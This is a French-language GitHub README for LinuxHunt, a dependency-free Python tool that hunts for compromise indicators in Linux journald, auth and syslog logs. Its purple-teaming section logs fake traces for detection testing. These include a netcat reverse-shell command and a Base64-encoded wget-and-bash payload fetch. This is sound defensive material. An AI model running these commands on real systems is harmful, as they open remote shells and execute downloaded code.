Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 

Repository files navigation

🕵️‍♂️ LinuxHunt

LinuxHunt est un outil de Threat Hunting en ligne de commande, léger et sans dépendance, conçu pour l'analyse rapide des journaux de sécurité sur les systèmes Linux modernes (Debian, Ubuntu, etc.).

Pensé comme une alternative à DeepBlueCLI pour l'environnement Linux, cet outil développé entièrement avec la bibliothèque standard Python 3 permet aux analystes SOC, aux équipes de réponse à incident (DFIR) et aux Purple Teams d'identifier rapidement des indicateurs de compromission (IoC) sans avoir à déployer d'agents complexes.

✨ Fonctionnalités Principales

  • Zéro Dépendance : Ne nécessite aucun module externe (pip install inutile). Idéal pour les environnements restreints ou isolés.
  • Intégration systemd-journald : Interroge directement les journaux via journalctl avec une gestion dynamique du temps (--since).
  • Sécurité et Robustesse :
    • Désinfection automatique des séquences d'échappement ANSI pour prévenir les attaques par falsification de logs (Log Forging / Terminal Injection).
    • Validation stricte des entrées utilisateur pour empêcher les injections de commandes.
    • Expressions régulières précompilées et protections anti-OOM (Out-Of-Memory) lors des attaques massives.
  • Détection Automatisée :
    • Module auth : Détection de Bruteforce SSH/PAM, de création de nouveaux utilisateurs, et d'exécution de commandes suspectes via sudo ou su.
    • Module syslog : Détection d'Anti-Forensics (effacement d'historique), de reverse shells, de téléchargements suspects (wget/curl), et décodage à la volée de payloads malveillants encodés en Base64.

🚀 Installation

Clonez simplement le dépôt et exécutez le script :

git clone https://github.com/Spellskite-coding/LinuxHunt cd LinuxHunt

🛠️ Utilisation

L'outil nécessite des privilèges élevés (sudo) pour accéder aux journaux de sécurité du système.

  • Syntaxe de base :

sudo python3 linuxhunt.py -j -t <type_de_log> -s "<période>"

Exemples d'analyse

  • Analyser les tentatives d'authentification des dernières 24 heures :

sudo python3 linuxhunt.py -j -t auth -s "24 hours ago"

  • Traquer l'exécution de commandes suspectes ou de payloads sur la journée en cours :

sudo python3 linuxhunt.py -j -t syslog -s "today"

  • Analyser un ancien fichier de log statique (mode hors-ligne) :

sudo python3 linuxhunt.py -f /var/log/auth.log.1 -t auth

🎯 Purple Teaming : Simuler des attaques pour tester l'outil

Vous pouvez tester l'efficacité des règles de détection en injectant de fausses traces dans le journal système à l'aide de la commande logger.

  • Simuler un Anti-Forensics (effacement de traces) :

logger "user root attempted track covering: history -c"

  • Simuler un Reverse Shell :

logger "type=EXECVE COMMAND=nc -e /bin/bash 10.0.0.0 4444"

  • Simuler l'exécution d'un payload masqué en Base64 :

logger "type=EXECVE COMMAND=echo d2dldCBodHRwOi8vc2FmZWJsdWVjb25zZWlsLmZyL3BheWxvYWQuc2g= | base64 -d | bash"

Lancez ensuite la détection sur les 5 dernières minutes :

sudo python3 linuxhunt.py -j -t syslog -s "5 minutes ago"

Je vous souhaite de bonnes investigations ! :)

About

Un script python, qui comme DeepBlueCLI, analyse les logs à la recherche d'anomalies, et fait une sortie de l'investigation sur le terminal ! Ce script chasse les actions malveillantes et preuves de compromission dans les logs Linux pour les distributions Debian & Ubuntu ! Faites en bon usage lors de vos investigations !

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages